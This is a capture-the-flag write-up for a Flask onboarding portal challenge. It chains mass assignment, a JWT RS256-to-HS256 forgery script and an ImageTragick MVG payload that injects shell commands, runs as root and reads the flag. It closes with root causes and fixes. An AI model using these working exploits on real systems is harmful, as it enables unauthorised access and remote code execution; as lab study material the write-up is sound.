OnboardX: Mass Assignment → JWT Confusion → ImageTragick RCE
On this page
Flag: KPMG_CTF{DUTemNxJVLdzE1HlVuXy5CIMqgpeL8cN0eg2_jAEjAm_}
Target: http://kicyber-2f77350d6c4b-onboardx-0-0.chals.io Category: Web (Flask/gunicorn) / mass assignment + JWT alg-confusion + ImageMagick RCE Hint (from KPMG CTF): “if you can onboard yourself, why do u need an HR/Admin”
Overview
OnboardX is an employee-onboarding portal. New self-registered accounts are “pending HR
approval”; approved employees get a JWT (token cookie, RS256 via JWKS); an HR/admin panel
generates employee ID cards by running ImageMagick on an uploaded photo.
The flag falls out of a four-bug chain:
- Mass assignment:
PATCH /api/user/melets a pending user setis_approvedandroleon their own record (“onboard yourself”). - JWT algorithm confusion (RS256→HS256):
/admintrusts theroleclaim in the JWT, and the verifier accepts an HS256 token signed with the RSA public key (from JWKS) as the HMAC secret. - Weak upload validation: the avatar uploader accepts anything with an allowed extension
and matching magic bytes, so a
GIF89a-prefixed polyglot sails through (and the error leaks the absolute storage path). - ImageTragick (CVE-2016-3714): the ID-card generator shells out to ImageMagick 6
(
convert <avatar> … <out>); a GIF-magic MVG with a URL delegate yields command execution as root.
Recon
Homepage HTML comment points at an admin area:
<!-- TODO(dave): retire the legacy PHP admin panel once everyone is migrated
to the new /admin dashboard. -mgmt -->
/static/js/main.js reveals the API base and a JWKS/auth hint (and a deliberately dead “staging
API key”):
const API_BASE = "/api"; // + fetch(`${API_BASE}/auth/public-key`)
GET /api documents the surface:
{"endpoints":{
"GET /api/user/me":"Return the authenticated user profile fields",
"PATCH /api/user/me":"Update editable profile fields (JSON body)",
"GET /settings/export":"Queue a personal data export",
"GET /.well-known/jwks.json":"JSON Web Key Set used to publish JWT verification keys"},
"auth":"Approved users use the token cookie issued at /login. Pending users use the temporary session until approval. JWT verification keys are published through JWKS.",
"note":"Admin endpoints are not listed here. Discover them through the UI."}
Register + log in → pending users get a session cookie ({"pending_user_id":4}), not a JWT:
base="https://kicyber-2f77350d6c4b-onboardx-0-0.chals.io"
U="alice_$RANDOM"
curl -s -c ob.txt -b ob.txt -X POST "$base/register" --data "username=$U&password=<password>" -o /dev/null
curl -s -i -c ob.txt -b ob.txt -X POST "$base/login" --data "username=$U&password=<password>" | grep -i set-cookie
curl -s -b ob.txt "$base/api/user/me"
# {"avatar_path":"","bio":"","display_name":"alice_...","id":4,"is_approved":false,"role":"user",...}
Step 1: Mass assignment (self-onboard)
PATCH /api/user/me honours is_approved and role straight from the JSON body:
curl -s -b ob.txt -X PATCH "$base/api/user/me" -H 'Content-Type: application/json' \
--data '{"is_approved":true,"role":"admin"}'
# {"...","is_approved":true,"role":"admin",...}
Step 2: JWT RS256→HS256 confusion → /admin
Re-logging in now issues the JWT token cookie, but its role claim is "user", and /admin
gates on the claim, not the DB:
# token payload: {"sub":4,"username":"alice_...","role":"user","iat":...,"exp":...}
curl -s -b ob.txt "$base/admin" # {"error":"forbidden"}
The JWKS publishes the RS256 public key:
curl -s "$base/.well-known/jwks.json"
# {"keys":[{"alg":"RS256","kid":"prod-rsa-key-2026","kty":"RSA","n":"tg3SJ3m8...","e":"AQAB",...}]}
Classic algorithm confusion: rebuild the public key, then sign an HS256 token (claiming
role:admin) using the PEM public key as the HMAC secret:
import base64,hashlib,hmac,json,time
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.primitives import serialization
n="tg3SJ3m8...";e="AQAB"
b64d=lambda s:base64.urlsafe_b64decode(s+'='*(-len(s)%4))
pub=RSAPublicNumbers(int.from_bytes(b64d(e),'big'),int.from_bytes(b64d(n),'big')).public_key()
pem=pub.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo) # keep trailing \n
b64u=lambda b:base64.urlsafe_b64encode(b).rstrip(b'=').decode()
now=int(time.time())
h=b64u(b'{"alg":"HS256","typ":"JWT","kid":"prod-rsa-key-2026"}')
p=b64u(json.dumps({"sub":4,"username":"alice_8922","role":"admin","iat":now,"exp":now+86400},separators=(',',':')).encode())
sig=b64u(hmac.new(pem,f"{h}.{p}".encode(),hashlib.sha256).digest())
print(f"{h}.{p}.{sig}")
The key detail that mattered: the HMAC secret is the SPKI PEM with its trailing newline (the
nonl and PKCS#1 variants returned 403). With that token:
curl -s -b "token=$FORGED" "$base/admin" # 200: HR Review Queue
The admin page exposes the ID-card generator:
fetch(`/admin/idcard/${id}`, { method: 'POST' }) // returns {status, stderr, preview_url?}
Step 3: Weak avatar upload (GIF polyglot + path leak)
avatar_path is not mass-assignable; it’s set by POST /profile (multipart upload). Probing
the validator:
up(){ curl -s -b "token=$FORGED" -X POST "$base/profile" -F "avatar=@$1;filename=$2;type=$3"; }
up x.svg up.svg image/svg+xml # "Unsupported file type." (extension blocked)
up x.mvg up.png image/png # "File does not look like a valid image." (magic checked)
printf 'GIF89a<svg>...</svg>' > poly.gif
up poly.gif up.gif image/gif # ACCEPTED
So validation = allowed extension + leading magic bytes only (no full parse). The rejection page also leaks the absolute path:
Stored image path: /app/app/static/uploads/4_<uuid>.gif
Avatars are served at /static/uploads/<name>.
Step 4: ImageTragick RCE (SOLVED)
Forcing a malformed-GIF generation reveals the command and confirms ImageMagick
(X-Powered-By: ImageMagick/6):
curl -s -b "token=$FORGED" -X POST "$base/admin/idcard/4"
# {"status":"error","stderr":"convert: ... `/app/app/static/uploads/4_<uuid>.gif' ...
# convert: no images defined `/app/app/static/uploads/idcard_4_<uuid>.png' ..."}
→ convert <avatar> [ops] /app/app/static/uploads/idcard_4_<uuid>.png on ImageMagick 6. Since
the avatar content is attacker-controlled (GIF magic bypasses validation), use an MVG
ImageTragick payload with a URL delegate for command execution, exfiltrating into the
web-served uploads dir:
MARK="pwn_$RANDOM"
cat > ex.gif <<EOF
GIF89a
push graphic-context
viewbox 0 0 1 1
fill 'url(https://127.0.0.1/x.jpg"|(id; ls -la /; cat /flag* /flag.txt 2>/dev/null) > /app/app/static/uploads/$MARK.txt")'
pop graphic-context
EOF
curl -s -b "token=$FORGED" -X POST "$base/profile" -F "avatar=@ex.gif;filename=e.gif;type=image/gif" -o /dev/null
curl -s -b "token=$FORGED" -X POST "$base/admin/idcard/4" -o /dev/null # triggers convert
curl -s "$base/static/uploads/$MARK.txt"
Output:
uid=0(root) gid=0(root) groups=0(root)
...
-r--r--r-- 1 root root 55 ... flag.txt
...
KPMG_CTF{DUTemNxJVLdzE1HlVuXy5CIMqgpeL8cN0eg2_jAEjAm_}
Flag: KPMG_CTF{DUTemNxJVLdzE1HlVuXy5CIMqgpeL8cN0eg2_jAEjAm_} (code execution as root).
Why it works
- Mass assignment:
PATCH /api/user/mebinds request JSON onto the user model with no allow-list, so privilege fields (role,is_approved) are client-settable. - JWT alg confusion: the verifier doesn’t pin the algorithm to RS256, so an HS256 token
verifies against the public key used as a symmetric secret, and
/admintrusts the signedroleclaim, which the attacker now controls. - Upload bypass: checking only extension + magic bytes lets a
GIF89aprefix carry an arbitrary payload; ImageMagick then processes attacker-controlled bytes. - ImageTragick: ImageMagick 6’s MVG/SVG
url()delegate passes unsanitised data to a shell, giving RCE; running as root makes/flag.txttrivially readable.
Root cause & fix
- Allow-list editable fields server-side; never bind
role/is_approvedfrom user input, and derive authorization from server state, not a self-asserted JWT claim. - Pin JWT algorithms to RS256 and reject HS256 (and
none); verify with the public key only under the expected algorithm. - Validate uploads by full decode/re-encode (not magic bytes), strip to a safe canonical image, and don’t leak absolute paths in errors.
- Patch/retire ImageMagick 6, disable risky coders/delegates via
policy.xml(MVG/MSL/URL/HTTPS/text/label), run the converter unprivileged and sandboxed, and never pass user-controlled files toconvertwithout a hardened policy.
Takeaways
- Chain the mundane: a mass-assignment self-approve + an auth-claim trust bug gets you to admin before any “real” exploit.
- For JWT+JWKS apps, always try RS256→HS256 confusion with the published public key, and test PEM encoding variants (SPKI vs PKCS#1, trailing newline) since the exact bytes matter.
- A returned
stderrfield screams subprocess; force an error to learn the command, and check the engine banner (X-Powered-By: ImageMagick/6). - Magic-byte-only upload checks are defeated by polyglots; prefix the allowed magic and smuggle the real payload.